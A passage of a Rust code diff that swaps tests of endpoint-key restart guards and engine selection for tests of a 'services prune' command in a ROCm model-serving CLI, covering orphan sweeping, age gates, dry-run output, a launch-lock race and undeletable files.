- "a service that never passed the flag must not be told it did: {rendered}" + outcome.text.contains(" still running, left alone: 1"), + "prune must report how many records it skipped:\n{}", + outcome.text ); - - // And the loopback-with-forced-auth case still reports its own reason. - let error = ensure_public_service_has_endpoint_key("127.0.0.1", false, true) - .expect_err("a service that demanded auth must not come back without it"); assert!( - format!("{error:#}").contains("--require-api-key"), - "{error:#}" + outcome + .text + .contains("rocm services stop svc-running --yes"), + "the skip reason must name the stop command:\n{}", + outcome.text ); + Ok(()) } + /// The engine state file lives outside `services_dir`, so hand-deleting the + /// manifest and log — the workaround this command replaces — leaves it + /// behind forever. Prune has to sweep it. #[test] - fn restarting_a_keyless_public_service_names_the_public_bind_not_the_key_flag() -> Result<()> { - // The same defect at a real call site rather than through the guard's own - // arguments. `restart` reads `requires_api_key` off the record on disk, so - // a record written by an ordinary public-bind launch must not claim the - // service asked for `--require-api-key` — the branch order means a record - // that claims it wins, and its remediation drops `--allow-public-bind`. - let (root, paths) = test_paths("restart-public-no-key"); + fn services_prune_sweeps_engine_state_left_behind_by_a_deleted_record() -> Result<()> { + let (root, paths) = test_paths("services-prune-orphans"); paths.ensure()?; - let mut record = ManagedServiceRecord::new( - &paths, - "vllm-public-2000", - "vllm", - "qwen", - "qwen-canonical", - "0.0.0.0", - 12000, - "managed", - std::process::id(), - None, - None, - None, - ); - // What a plain `--host 0.0.0.0 --allow-public-bind` launch records: the - // bind is public, and the flag was never passed. - record.requires_api_key = false; - record.write()?; + let record = plant_service_record(&paths, "svc-orphaned", "failed", 999_999_999)?; + // Exactly what the manual workaround leaves: the two files in the + // services folder are gone, the engine state and endpoint key are not. + fs::remove_file(&record.manifest_path)?; + let orphan_state = record.engine_state_path; + let orphan_log = record.log_path; + let orphan_key = endpoint_keys::endpoint_key_file_path(&paths, "svc-orphaned"); - // No key file: the situation after a stop, which drops it. - let error = restart_internal_managed_service(&paths, "vllm-public-2000") - .expect_err("a keyless public service must not be restarted"); - let rendered = format!("{error:#}"); - assert!( - rendered.contains("--allow-public-bind"), - "the refusal must name the command that brings it back public: {rendered}" - ); - assert!( - !rendered.contains("--require-api-key"), - "a service that never passed the flag must not be told it did: {rendered}" - ); + let outcome = prune_managed_service_records(&paths, 0, false, true); + let outcome = match outcome { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } + }; + let state_exists = orphan_state.exists(); + let log_exists = orphan_log.exists(); + let key_exists = orphan_key.exists(); + let _ = fs::remove_dir_all(&root); - // The refusal happens before the stop, so the service is left alone. assert!( - load_managed_service(&paths, "vllm-public-2000").is_ok(), - "a refused restart must not have removed the record" + !state_exists, + "the orphaned engine state file must be swept:\n{}", + outcome.text ); - let _ = fs::remove_dir_all(root); + assert!(!log_exists, "the orphaned log must be swept"); + assert!(!key_exists, "the orphaned endpoint key must be swept"); + assert_eq!(outcome.removed_records, 0); + assert_eq!(outcome.removed_files, 3); Ok(()) } + /// The window the launch lock exists to close here: `serve` writes + /// the 0600 endpoint key *before* the first manifest, so between those two + /// writes a live server's key has no `.json` beside it — the exact shape + /// the sweep calls a leftover, and `--any-age` leaves no age gate to hide it + /// behind. `serve` holds the managed-launch lock across the whole of that + /// interval, so the fix is for `prune` to acquire it too. + /// + /// Shape of the test, since `FileLock::acquire` blocks with no `try_` + /// variant and calling `prune` on the thread that holds the lock would + /// simply deadlock: the main thread stands in for the launch and holds the + /// lock with only the key written, a second thread runs the real + /// `--any-age --yes` argv, and the main thread then does what the launch + /// does next — writes the record — *before* releasing. So the sweep sees the + /// directory only in its published state. + /// + /// Two independent assertions each fail on their own if `prune` stops + /// acquiring the lock: the negative wait (prune returns while the lock is + /// held, so it never waited for it) and the endpoint key (prune scans before + /// the record lands and deletes it). The negative wait is reported first + /// only because it names the cause; it is not load-bearing on its own, so + /// deleting it as "timing-sensitive" still leaves a pure filesystem fact + /// behind it. For that second assertion to mean anything, the record has to + /// be published *without* rewriting the key — hence + /// [`plant_service_record_without_its_key`] below rather than the full + /// planter. The negative wait in turn cannot pass vacuously: the worker + /// physically cannot report completion without first holding the lock the + /// main thread has. #[test] - fn respawn_fails_closed_for_a_public_service_whose_key_is_gone() { - // A stop deletes the key file, so a later restart of a public service - // would otherwise respawn it with no auth at all. - let error = ensure_public_service_has_endpoint_key("0.0.0.0", false, false).unwrap_err(); - let message = error.to_string(); - assert!(message.contains("0.0.0.0"), "{error:#}"); - assert!(message.contains("without authentication"), "{error:#}"); - // Actionable: name the command that mints a fresh key. - assert!(message.contains("--allow-public-bind"), "{error:#}"); - - // A public service that still has its key restarts normally. - ensure_public_service_has_endpoint_key("0.0.0.0", true, false).unwrap(); - } + fn services_prune_waits_for_the_managed_launch_lock_before_sweeping() -> Result<()> { + use std::sync::mpsc; - #[test] - fn respawn_allows_loopback_services_without_an_endpoint_key() { - // Loopback stays credential-free, so every accepted spelling must pass - // the guard with no key present — when nothing asked for auth. - for host in ["127.0.0.1", "localhost", "::1"] { - ensure_public_service_has_endpoint_key(host, false, false) - .unwrap_or_else(|error| panic!("{host} must not require a key: {error:#}")); - } - } + /// Long enough that a `prune` over an all-but-empty data dir would have + /// finished many times over, short enough to keep the suite quick. Only + /// ever compared against "did not finish", so a slow machine makes this + /// more conclusive, never flakier. + const WAIT_PROOF: Duration = Duration::from_millis(500); + const ID: &str = "svc-launching"; - #[test] - fn respawn_refuses_a_loopback_service_that_was_launched_with_a_key() { - // The hole this closes: a loopback bind that something else republishes - // — a tailnet publish, a proxy, a container port map. The publish - // outlives the process, so a restart after the key was dropped would - // reopen a reachable endpoint with no authentication, and the bind - // address gives the guard no way to notice. - for host in ["127.0.0.1", "localhost", "::1"] { - let error = ensure_public_service_has_endpoint_key(host, false, true) - .expect_err("a service launched with a key must not restart without one"); - let message = format!("{error:#}"); - assert!(message.contains("without authentication"), "{message}"); - assert!(message.contains("--require-api-key"), "{message}"); - } + let (root, paths) = test_paths("services-prune-launch-lock"); + paths.ensure()?; + // Write 1 of 2, byte for byte as `serve` does it at the top of the + // managed path. No manifest yet: `spawn_managed_engine_child` has not + // reached `record.write()`. + endpoint_keys::store_endpoint_api_key(&paths, ID, "live-secret")?; + assert!( + !paths.service_manifest_path(ID).exists(), + "premise: the manifest must not be written yet" + ); + let launch_lock = rocm_core::FileLock::acquire(paths.managed_launch_lock_path())?; - // With its key still present it restarts normally. - ensure_public_service_has_endpoint_key("127.0.0.1", true, true).unwrap(); - } + let (started_tx, started_rx) = mpsc::channel(); + let (done_tx, done_rx) = mpsc::channel(); + let (waited, published, finished) = std::thread::scope(|scope| { + scope.spawn(|| { + started_tx.send(()).expect("signal about to prune"); + let outcome = + parse_services_prune_args(&["rocm", "services", "prune", "--any-age", "--yes"]) + .and_then(|(hours, dry_run, yes)| { + prune_managed_service_records(&paths, hours, dry_run, yes) + }); + let _ = done_tx.send( + outcome + .map(|outcome| (outcome.removed_files, outcome.skipped_live, outcome.text)) + .map_err(|error| error.to_string()), + ); + }); + // The worker is running before the negative check below, so that + // check is about the lock and not about scheduling latency. + started_rx + .recv_timeout(Duration::from_secs(10)) + .expect("prune thread started"); + let early = done_rx.recv_timeout(WAIT_PROOF); + let waited = early.is_err(); + // Write 2 of 2, still under the lock: the launch publishes its + // record, and the key stops looking like a leftover. `serve` does + // this at `record.write()`, well before it drops the guard. + // Only the record: the key was written above, by the launch, and + // must not be re-planted here. `plant_service_record` would rewrite + // it, and a rewritten key is present at the end of the test whether + // or not the sweep deleted it — which is exactly how the two key + // assertions below would stop being tripwires. + let published = + plant_service_record_without_its_key(&paths, ID, "starting", std::process::id()) + .map(|_| ()); + // Nothing above this line may panic: the worker is blocked on this + // guard, and `scope` would join it forever. + drop(launch_lock); + let finished = match early { + Ok(finished) => finished, + Err(_) => done_rx + .recv_timeout(Duration::from_mins(1)) + .expect("prune completes once the launch lock is released"), + }; + (waited, published, finished) + }); + let key_exists = endpoint_keys::endpoint_key_file_path(&paths, ID).exists(); + let key_value = endpoint_keys::endpoint_api_key(&paths, ID); + let _ = fs::remove_dir_all(&root); - #[test] - fn restart_refuses_a_public_service_without_a_key_before_stopping_it() { - // The guard runs before the stop, so a refused restart must leave the - // record exactly as it was rather than taking down a running service. - let (root, paths) = test_paths("restart-public-no-key"); - let service_id = "svc-public-nokey"; - let mut record = ManagedServiceRecord::new( - &paths, - service_id, - "vllm", - "model-ref", - "canonical/model", - "0.0.0.0", - 11435, - "managed", - std::process::id(), - None, - None, - Some("gpu_required".to_owned()), + published.context("failed to publish the launch's record under the lock")?; + assert!( + waited, + "prune finished while the managed-launch lock was held, so it never \ + acquired it — a launch between its key write and its record write \ + is still exposed:\n{finished:?}" ); - record.status = "running".to_owned(); - record.write().unwrap(); - - let error = restart_internal_managed_service(&paths, service_id).unwrap_err(); + let (removed_files, skipped_live, text) = + finished.map_err(|error| anyhow::anyhow!("prune failed: {error}"))?; assert!( - error.to_string().contains("without authentication"), - "{error:#}" + key_exists, + "the starting server's endpoint key must survive a concurrent \ + --any-age prune:\n{text}" ); - - // Proves the *ordering*, not just the refusal: had the guard run after - // `stop_internal_managed_service`, the stop would have written - // "stopped". It reaches that state here because the record's only pid is - // the test's own (`engine_pid` is None and `terminate_recorded_service_pids` - // skips the caller's pid), so the stop confirms termination trivially. - let after = load_managed_service(&paths, service_id).unwrap(); - assert_ne!( - after.status, "stopped", - "a refused restart must not stop the service" + assert_eq!( + key_value.as_deref(), + Some("live-secret"), + "the key the starting server needs must survive intact" ); - let _ = fs::remove_dir_all(root); + assert_eq!( + removed_files, 0, + "the published record makes its key a companion, not a leftover:\n{text}" + ); + assert_eq!( + skipped_live, 1, + "the launch is live by the time prune reads the directory:\n{text}" + ); + Ok(()) } - /// A public record with a dead pid and a stored endpoint key, for the - /// liveness-refresh cases below. The port is one nothing listens on, so the - /// refresh's endpoint probe fails and it falls through to the pid check. - fn dead_public_service_with_key( - paths: &AppPaths, - service_id: &str, - port: u16, - ) -> ManagedServiceRecord { - paths.ensure().unwrap(); - let mut record = ManagedServiceRecord::new( - paths, - service_id, - "vllm", - "model-ref", - "canonical/model", - "0.0.0.0", - port, - "managed", - // A pid far above any plausible live process, as in - // `dead_managed_service_allows_relaunch`. - 999_999_999, - None, - None, - None, + #[test] + fn services_prune_dry_run_reports_the_plan_and_removes_nothing() -> Result<()> { + let (root, paths) = test_paths("services-prune-dry-run"); + paths.ensure()?; + let record = plant_service_record(&paths, "svc-dry", "failed", 999_999_999)?; + + let outcome = prune_managed_service_records(&paths, 0, true, false); + let outcome = match outcome { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } + }; + let manifest_exists = record.manifest_path.exists(); + let engine_state_exists = record.engine_state_path.exists(); + let _ = fs::remove_dir_all(&root); + + assert!(manifest_exists, "--dry-run must not delete the record"); + assert!(engine_state_exists, "--dry-run must not delete anything"); + assert_eq!(outcome.removed_records, 0); + assert_eq!(outcome.removed_files, 0); + assert!(outcome.text.contains("- svc-dry (status: failed")); + assert!( + outcome + .text + .contains("Nothing was removed. Re-run without --dry-run to remove.") ); - record.status = "running".to_owned(); - record.write().unwrap(); - endpoint_keys::store_endpoint_api_key(paths, service_id, "secret-key").unwrap(); - record + Ok(()) } + /// The `--all` view advertises `rocm services restart --yes` for every + /// record it lists. Pruning a server that died a minute ago would destroy + /// that affordance and the log explaining the failure, so the default age + /// gate keeps it. #[test] - fn crashed_public_service_keeps_its_endpoint_key() { - // A crash (OOM kill, host reboot, panic) leaves the record at "running" - // with dead pids and no stop marker. Dropping the key here would make - // the fail-closed respawn guards refuse every later `rocm services - // restart` and every daemon recovery attempt — permanently, because - // nothing can re-mint the key. The refresh happens on every read - // (`rocm services list`), so this must survive it. - let (root, paths) = test_paths("liveness-crash-keeps-key"); - let service_id = "svc-crashed-public"; - let mut record = dead_public_service_with_key(&paths, service_id, 11982); + fn services_prune_default_age_keeps_a_just_stopped_record() -> Result<()> { + let (root, paths) = test_paths("services-prune-age"); + paths.ensure()?; + let record = plant_service_record(&paths, "svc-fresh", "failed", 999_999_999)?; - let changed = refresh_managed_service_runtime_liveness(&paths, &mut record); + let outcome = + prune_managed_service_records(&paths, DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS, false, true); + let outcome = match outcome { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } + }; + let manifest_exists = record.manifest_path.exists(); + let _ = fs::remove_dir_all(&root); - assert!(changed, "a dead service must be demoted to stopped"); - assert_eq!(record.status, "stopped"); - assert_eq!( - endpoint_keys::endpoint_api_key(&paths, service_id).as_deref(), - Some("secret-key"), - "a crashed public service must stay restartable" + assert!( + manifest_exists, + "a record written seconds ago must survive the default prune:\n{}", + outcome.text ); - let _ = fs::remove_dir_all(root); + assert_eq!(outcome.removed_records, 0); + assert!( + outcome + .text + .contains("svc-fresh changed less than 24 hours ago"), + "prune must say why it was kept:\n{}", + outcome.text + ); + Ok(()) } + /// The age gate reads the manifest's modification time, and + /// `load_managed_services` rewrites that manifest the first time it observes + /// that a `ready` server has died — a crash, a kill, a reboot. Read after + /// that rewrite the record looks newer than the prune run itself, so the + /// fail-closed branch keeps it: on a host whose servers died weeks ago and + /// have not been listed since, `rocm services prune --yes` removed nothing + /// at all and called every one of them too recent to touch. #[test] - fn unconfirmed_stop_clears_the_endpoint_key_once_the_processes_are_gone() { - // The other half: a stop that could not confirm termination leaves the - // key in place (the engine may still be alive and enforcing it) and - // records the intent. Once the processes are observed gone, the deferred - // cleanup runs, so no plaintext secret is stranded for a service the - // operator did ask to stop. - let (root, paths) = test_paths("liveness-pending-stop-clears-key"); - let service_id = "svc-pending-stop"; - let mut record = dead_public_service_with_key(&paths, service_id, 11983); - record.stop_requested_unix_ms = Some(1); + fn services_prune_default_age_removes_a_record_the_refresh_rewrote() -> Result<()> { + let (root, paths) = test_paths("services-prune-refresh-rewrite"); + paths.ensure()?; + // `ready` with a dead pid is the state that triggers the rewrite: the + // liveness refresh demotes the status and persists the demotion. + let record = plant_service_record(&paths, "svc-long-dead", "ready", 999_999_999)?; + let month_ago = SystemTime::now() - Duration::from_hours(24 * 30); + fs::File::options() + .write(true) + .open(&record.manifest_path)? + .set_modified(month_ago)?; - let changed = refresh_managed_service_runtime_liveness(&paths, &mut record); + let outcome = + prune_managed_service_records(&paths, DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS, false, true); + let outcome = match outcome { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } + }; + let manifest_exists = record.manifest_path.exists(); + let _ = fs::remove_dir_all(&root); - assert!(changed); - assert_eq!(record.status, "stopped"); - assert_eq!( - endpoint_keys::endpoint_api_key(&paths, service_id), - None, - "a requested stop must still drop the key" + assert!( + !manifest_exists, + "a record last written a month ago must be pruned even though the \ + liveness refresh rewrote its manifest during this run:\n{}", + outcome.text ); + assert_eq!(outcome.removed_records, 1); assert_eq!( - record.stop_requested_unix_ms, None, - "the marker is consumed, so the cleanup does not run again" + outcome.skipped_recent, 0, + "the refresh's own rewrite must not make a month-old record recent:\n{}", + outcome.text ); - let _ = fs::remove_dir_all(root); + Ok(()) } + /// A cleanup that keeps things silently is indistinguishable from one that + /// found nothing, and what it keeps is exactly what a user debugging a fresh + /// failure still wants. The count and the way to override it both have to be + /// on screen. #[test] - fn pending_stop_cleanup_runs_even_once_the_record_reads_stopped() { - // Proves the cleanup sits *before* the `managed_service_is_live` gate: - // a record that reached "stopped" by another route (an engine state - // refresh, a concurrent writer) would otherwise early-return and strand - // the key of a service the operator stopped. - let (root, paths) = test_paths("liveness-pending-stop-when-stopped"); - let service_id = "svc-pending-stop-stopped"; - let mut record = dead_public_service_with_key(&paths, service_id, 11984); - record.status = "stopped".to_owned(); - record.stop_requested_unix_ms = Some(1); + fn services_prune_says_how_many_it_kept_for_being_recent() -> Result<()> { + let (root, paths) = test_paths("services-prune-recent-report"); + paths.ensure()?; + plant_service_record(&paths, "svc-fresh", "failed", 999_999_999)?; - let changed = refresh_managed_service_runtime_liveness(&paths, &mut record); + let outcome = + prune_managed_service_records(&paths, DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS, false, true); + let outcome = match outcome { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } + }; + let _ = fs::remove_dir_all(&root); + assert_eq!(outcome.skipped_recent, 1); assert!( - changed, - "consuming the marker is a record change worth writing" + outcome.text.contains(" too recent, kept: 1"), + "the summary must count what it kept:\n{}", + outcome.text ); - assert_eq!(endpoint_keys::endpoint_api_key(&paths, service_id), None); - assert_eq!(record.stop_requested_unix_ms, None); - let _ = fs::remove_dir_all(root); + assert!( + outcome.text.contains("rocm services prune --any-age --yes"), + "the summary must name the flag that includes them:\n{}", + outcome.text + ); + Ok(()) } - #[test] - fn endpoint_client_config_shows_key_once_with_bearer_guidance() { - let rendered = render_endpoint_client_config("http://0.0.0.0:11435/v1", "secret-123"); - assert!(rendered.contains("secret-123"), "{rendered}"); - assert!(rendered.contains("Authorization: Bearer"), "{rendered}"); - assert!(rendered.contains("shown only now"), "{rendered}"); + /// Parse a real `rocm services prune` command line and return exactly what + /// the dispatch at `ServicesCommand::Prune` would hand + /// [`prune_managed_service_records`]. Nothing here re-implements the flag + /// mapping: it runs [`service_prune_min_age_hours`], the same function the + /// command uses, so a test driving this covers the wiring and not a copy of + /// it. + fn parse_services_prune_args(argv: &[&str]) -> Result<(u64, bool, bool)> { + let cli = Cli::try_parse_from(argv)?; + let Some(Command::Services { + command: + Some(ServicesCommand::Prune { + older_than_hours, + any_age, + dry_run, + yes, + }), + }) = cli.command + else { + bail!("{argv:?} did not parse as `services prune`"); + }; + Ok(( + service_prune_min_age_hours(older_than_hours, any_age), + dry_run, + yes, + )) } + /// `--any-age` is the reachable form of `--older-than-hours 0`: the summary + /// points at it, so it has to actually take the record the default kept. + /// + /// Driven from the argument vector rather than by passing 0 by hand — + /// otherwise this is just another call with `hours = 0` and the flag's only + /// wiring, the collapse in [`service_prune_min_age_hours`], is never + /// executed by any test. #[test] - fn serve_engine_selection_uses_shared_recipe_when_no_override_exists() { - let recipe = resolve_builtin_model_recipe("qwen32b").expect("qwen32b recipe"); - - let selection = select_serve_engine(None, None, Some(&recipe), None); + fn services_prune_any_age_removes_a_just_stopped_record() -> Result<()> { + let (root, paths) = test_paths("services-prune-any-age"); + paths.ensure()?; + let record = plant_service_record(&paths, "svc-fresh", "failed", 999_999_999)?; - assert_eq!( - selection, - ServeEngineSelection { - engine: "vllm".to_owned(), - source: "recipe preferred engine; pass --engine to override; no automatic fallback", + let outcome = + parse_services_prune_args(&["rocm", "services", "prune", "--any-age", "--yes"]) + .and_then(|(hours, dry_run, yes)| { + assert_eq!(hours, 0, "--any-age must collapse to the zero-age rule"); + assert!(!dry_run); + assert!(yes); + prune_managed_service_records(&paths, hours, dry_run, yes) + }); + let outcome = match outcome { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); } + }; + let manifest_exists = record.manifest_path.exists(); + let _ = fs::remove_dir_all(&root); + + assert!( + !manifest_exists, + "--any-age must remove the record the default keeps:\n{}", + outcome.text ); + assert_eq!(outcome.removed_records, 1); assert_eq!( - serve_engine_selection_line(&selection), - " engine_selection: recipe preferred engine; pass --engine to override; no automatic fallback" - ); - assert_eq!( - serve_model_ref_for_engine("qwen32b", Some(&recipe), "vllm"), - "Qwen/Qwen3-32B-FP8" + outcome.skipped_recent, 0, + "nothing is 'too recent' once the age rule is off:\n{}", + outcome.text ); + Ok(()) } + /// Without the flag the very same parsed command line must keep the record, + /// which is what makes the assertion above about `--any-age` and not about + /// prune deleting things in general. #[test] - fn serve_engine_selection_prefers_vllm_for_supported_gpus() { - let summary = rocm_core::HostGpuSummary { - therock_family: Some("gfx90a".to_owned()), - ..rocm_core::HostGpuSummary::default() - }; - - let selection = select_serve_engine(None, None, None, Some(&summary)); + fn services_prune_without_any_age_keeps_the_default_threshold() -> Result<()> { + let (root, paths) = test_paths("services-prune-no-any-age"); + paths.ensure()?; + let record = plant_service_record(&paths, "svc-fresh", "failed", 999_999_999)?; - // vLLM is unsupported on native Windows, so the GPU-family preference is gated - // off there and selection falls back to the platform default. - let expected = if cfg!(windows) { - ServeEngineSelection { - engine: "lemonade".to_owned(), - source: "platform default", - } - } else { - ServeEngineSelection { - engine: "vllm".to_owned(), - source: "detected ROCm GPU family prefers vLLM", + let parsed = parse_services_prune_args(&["rocm", "services", "prune", "--yes"]); + let outcome = parsed.and_then(|(hours, dry_run, yes)| { + assert_eq!( + hours, DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS, + "no --any-age means the default age rule still applies" + ); + prune_managed_service_records(&paths, hours, dry_run, yes) + }); + let outcome = match outcome { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); } }; - assert_eq!(selection, expected); + let manifest_exists = record.manifest_path.exists(); + let _ = fs::remove_dir_all(&root); + + assert!( + manifest_exists, + "the default must keep it:\n{}", + outcome.text + ); + assert_eq!(outcome.removed_records, 0); + assert_eq!(outcome.skipped_recent, 1); + Ok(()) } + /// `--any-age` and an explicit `--older-than-hours` would be two answers to + /// one question; clap has to reject the pair rather than silently pick one. #[test] - fn serve_engine_selection_keeps_recipe_engine_when_gpu_preference_is_incompatible() { - // qwen-smoke is a tiny GGUF model that only Lemonade can serve and has no vLLM - // recipe. Even on a vLLM-preferred GPU it must stay on Lemonade rather than being - // forced onto vLLM (which cannot load the GGUF and fails to locate the model). - let recipe = resolve_builtin_model_recipe("qwen-smoke").expect("qwen-smoke recipe"); - let summary = rocm_core::HostGpuSummary { - therock_family: Some("gfx90a".to_owned()), - ..rocm_core::HostGpuSummary::default() - }; - - let selection = select_serve_engine(None, None, Some(&recipe), Some(&summary)); - - assert_eq!( - selection, - ServeEngineSelection { - engine: "lemonade".to_owned(), - source: "recipe preferred engine; pass --engine to override; no automatic fallback", - } + fn services_prune_rejects_any_age_with_an_explicit_age() { + let error = Cli::try_parse_from([ + "rocm", + "services", + "prune", + "--any-age", + "--older-than-hours", + "5", + ]) + .expect_err("the two age arguments must conflict"); + let rendered = error.to_string(); + assert!( + rendered.contains("--any-age") && rendered.contains("--older-than-hours"), + "the conflict must name both arguments:\n{rendered}" ); } + /// `collect_service_orphans`' doc comment leans on this: an *unparseable* + /// manifest is skipped by `load_managed_services`, so widening the orphan + /// rule from "no `.json` on disk" to "no record in the list" would + /// delete the log of the one record a user most needs to read, and the + /// corrupt manifest with it. Nothing asserted that until now — the other + /// tests only ever plant a fully absent manifest. #[test] - fn serve_qwen_uses_vllm_with_hf_repo_on_vllm_preferred_gpu() { - // The qwen alias serves the GGUF via Lemonade by default, but on a vLLM-preferred - // GPU it must serve the non-GGUF Hugging Face repo through vLLM. - let recipe = resolve_builtin_model_recipe("qwen").expect("qwen recipe"); - let summary = rocm_core::HostGpuSummary { - therock_family: Some("gfx94X-dcgpu".to_owned()), - ..rocm_core::HostGpuSummary::default() - }; + fn services_prune_keeps_a_corrupt_manifest_and_its_siblings() -> Result<()> { + let (root, paths) = test_paths("services-prune-corrupt"); + paths.ensure()?; + let record = plant_service_record(&paths, "svc-corrupt", "failed", 999_999_999)?; + // Valid JSON, not a valid record: `serde_json::from_slice` fails, so + // `load_managed_services` skips it without reporting an error. + fs::write(&record.manifest_path, b"{\"service_id\": 12345}")?; + let key_path = endpoint_keys::endpoint_key_file_path(&paths, "svc-corrupt"); - let selection = select_serve_engine(None, None, Some(&recipe), Some(&summary)); - // On native Windows the vLLM preference is gated off, so the qwen recipe stays on - // its own preferred engine (Lemonade) instead of being routed to vLLM. - let expected = if cfg!(windows) { - ServeEngineSelection { - engine: "lemonade".to_owned(), - source: "recipe preferred engine; pass --engine to override; no automatic fallback", - } - } else { - ServeEngineSelection { - engine: "vllm".to_owned(), - source: "detected ROCm GPU family prefers vLLM", + let outcome = prune_managed_service_records(&paths, 0, false, true); + let outcome = match outcome { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); } }; - assert_eq!(selection, expected); - assert_eq!( - serve_model_ref_for_engine("qwen", Some(&recipe), "vllm"), - "Qwen/Qwen3-4B-Instruct-2507" + let manifest_exists = record.manifest_path.exists(); + let log_exists = record.log_path.exists(); + let state_exists = record.engine_state_path.exists(); + let key_exists = key_path.exists(); + let _ = fs::remove_dir_all(&root); + + assert!( + manifest_exists, + "a manifest that cannot be parsed must never be deleted:\n{}", + outcome.text ); - // Lemonade keeps the GGUF canonical id. - assert_eq!( - serve_model_ref_for_engine("qwen", Some(&recipe), "lemonade"), - "Qwen3-4B-Instruct-2507-GGUF" + assert!( + log_exists, + "the log of an unreadable record is exactly what a user needs:\n{}", + outcome.text ); + assert!(state_exists, "the engine state must not look orphaned"); + assert!(key_exists, "the endpoint key must not look orphaned"); + assert_eq!(outcome.removed_records, 0); + assert_eq!(outcome.removed_files, 0); + Ok(()) } + /// The status string is not proof of death. `refresh_from_engine_state` + /// adopts `failed` straight from the engine's own state file and the + /// liveness refresh then returns early for a non-live status, so a server + /// whose engine reported failure while its process is still up would be + /// removable — taking the log and the 0600 endpoint key of a live process. #[test] - fn sdk_install_auto_engine_selection_prefers_vllm_for_supported_families() { - // vLLM is unsupported on native Windows, so the SDK family preference is gated - // off there and resolves to None. - let expected = if cfg!(windows) { None } else { Some("vllm") }; - assert_eq!(preferred_engine_for_sdk_family("gfx90a"), expected); - assert_eq!(preferred_engine_for_sdk_family("gfx94X-dcgpu"), expected); - assert_eq!(preferred_engine_for_sdk_family("gfx120X-all"), None); - } + fn services_removal_refuses_a_failed_record_whose_process_is_still_alive() -> Result<()> { + let (root, paths) = test_paths("services-remove-live-pid"); + paths.ensure()?; + // This test process: a pid that is unambiguously running. + let record = plant_service_record(&paths, "svc-zombie", "failed", std::process::id())?; - #[test] - fn explicit_engine_override_keeps_alias_when_shared_recipe_is_for_another_engine() { - // `qwen-smoke` is a Lemonade-only GGUF recipe (no vLLM engine recipe). - let recipe = resolve_builtin_model_recipe("qwen-smoke").expect("qwen-smoke recipe"); + let remove_error = remove_managed_service_record(&paths, "svc-zombie", true); + let prune = prune_managed_service_records(&paths, 0, false, true); + let prune = match prune { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } + }; + let manifest_exists = record.manifest_path.exists(); + let _ = fs::remove_dir_all(&root); - // Served under the engine it targets, the alias resolves to the canonical id. - assert_eq!( - serve_model_ref_for_engine("qwen-smoke", Some(&recipe), "lemonade"), - "Qwen3-0.6B-GGUF" + let message = remove_error + .err() + .map(|error| error.to_string()) + .unwrap_or_default(); + assert!( + message.contains("cannot be removed while it is running"), + "a record with a live pid must be refused whatever its status: {message}" ); - // Under an engine the recipe does not support, the raw alias flows through unchanged. + assert!(manifest_exists, "nothing may be deleted:\n{}", prune.text); + assert_eq!(prune.removed_records, 0); assert_eq!( - serve_model_ref_for_engine("qwen-smoke", Some(&recipe), "vllm"), - "qwen-smoke" + prune.skipped_live, 1, + "prune must count it as still running:\n{}", + prune.text ); + Ok(()) } + /// A file `prune` cannot delete must be *reported*, not swallowed and not + /// propagated: the plan, the per-record progress and the audit event all + /// have to survive it, because a destructive command that loses its own + /// account of what it deleted is worse than one that fails. The record whose + /// file survived also must not be counted as removed. + /// + /// A non-empty directory standing where the engine state file belongs is the + /// portable way to make `fs::remove_file` fail on both supported hosts; the + /// premise is asserted rather than assumed. #[test] - fn serve_engine_selection_respects_explicit_and_configured_engines() { - let recipe = resolve_builtin_model_recipe("qwen32b").expect("qwen32b recipe"); + fn services_prune_reports_a_file_it_could_not_remove() -> Result<()> { + let (root, paths) = test_paths("services-prune-undeletable"); + paths.ensure()?; + let record = plant_service_record(&paths, "svc-stuck", "failed", 999_999_999)?; + let stuck = record.engine_state_path.clone(); + fs::remove_file(&stuck)?; + fs::create_dir(&stuck)?; + fs::write(stuck.join("held.json"), b"{}")?; + assert!( + fs::remove_file(&stuck).is_err(), + "premise: {} must be undeletable by `remove_file`", + stuck.display() + ); - let explicit = select_serve_engine(Some("vllm"), Some("lemonade"), Some(&recipe), None); - let configured = select_serve_engine(None, Some("lemonade"), Some(&recipe), None); + let outcome = prune_managed_service_records(&paths, 0, false, true); + let outcome = match outcome { + Ok(outcome) => outcome, + Err(error) => { + let _ = fs::remove_dir_all(&root); + return Err(error); + } + }; + let manifest_exists = record.manifest_path.exists(); + let stuck_exists = stuck.exists(); + let _ = fs::remove_dir_all(&root); + assert!(stuck_exists, "premise: the stuck path must survive"); + assert!( + !manifest_exists, + "one unremovable file must not strand the other three:\n{}", + outcome.text + ); + assert_eq!(outcome.removed_files, 3); assert_eq!( - explicit, - ServeEngineSelection { - engine: "vllm".to_owned(), - source: "explicit --engine", - } + outcome.removed_records, 0, + "a record that still owns a file on disk is not removed:\n{}", + outcome.text ); assert_eq!( - configured, - ServeEngineSelection { - engine: "lemonade".to_owned(), - source: "configured default_engine", - } + outcome.failures.len(), + 1, + "the failure must be collected so the caller can fail the command:\n{}", + outcome.text + ); + assert!( + outcome.failures[0].contains(&stuck.display().to_string()), + "the failure must name the path: {:?}", + outcome.failures + ); + assert!( + outcome + .text + .contains("1 local server record(s) would be removed"), + "the plan must still be rendered:\n{}", + outcome.text ); + assert!( + outcome.text.contains("1 file(s) could not be removed:"), + "the run must say what it could not delete:\n{}", + outcome.text + ); + assert!( + outcome + .text + .contains("Re-running is safe: everything already removed stays removed."), + "the user needs to know a re-run is not destructive twice over:\n{}", + outcome.text + ); + Ok(()) } + /// The window the pre-delete liveness re-check exists to narrow: the plan is + /// built from a snapshot, and a `rocm services restart --yes` landing 